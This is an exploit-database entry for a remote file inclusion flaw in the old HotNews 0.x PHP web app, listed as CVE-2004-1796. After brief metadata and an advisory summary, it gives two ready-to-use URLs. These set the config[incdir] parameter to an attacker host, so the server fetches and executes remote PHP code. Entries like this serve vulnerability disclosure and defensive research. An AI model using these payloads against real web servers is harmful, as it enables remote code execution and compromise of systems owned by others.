HotNews 0.x - 'config[incdir]' Remote File Inclusion

Author: Officerrr
type: webapps
platform: php
port: 
date_added: 2004-01-05 
date_updated: 2012-12-20 
verified: 1 
codes: CVE-2004-1796;OSVDB-3405 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/9357/info

HotNews is prone to multiple file include vulnerabilities. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.

http://www.example.com/includes/hnmain.inc.php3?config[incdir]=http://[evil host]/func.inc.php3
http://www.example.com/includes/hnmain.inc.php3?config[incdir]=http://[evil host]/hndefs.inc.php3